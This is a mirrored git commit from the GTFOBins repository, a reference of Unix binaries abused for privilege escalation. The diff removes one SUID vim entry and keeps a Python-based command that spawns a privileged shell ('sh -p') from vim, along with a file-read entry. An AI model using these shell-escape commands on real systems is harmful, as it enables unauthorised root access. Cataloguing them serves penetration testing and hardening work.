mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Remove suid from vim
This commit is contained in:
parent
4910c32409
commit
d3ef67aa3a
@ -17,7 +17,6 @@ functions:
|
|||||||
file-read:
|
file-read:
|
||||||
- code: vim file_to_read
|
- code: vim file_to_read
|
||||||
suid:
|
suid:
|
||||||
- code: ./vim -c ':!/bin/sh -p'
|
|
||||||
- description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3.
|
- description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3.
|
||||||
code: ./vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
|
code: ./vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
|
||||||
sudo:
|
sudo:
|
||||||
|
Loading…
Reference in New Issue
Block a user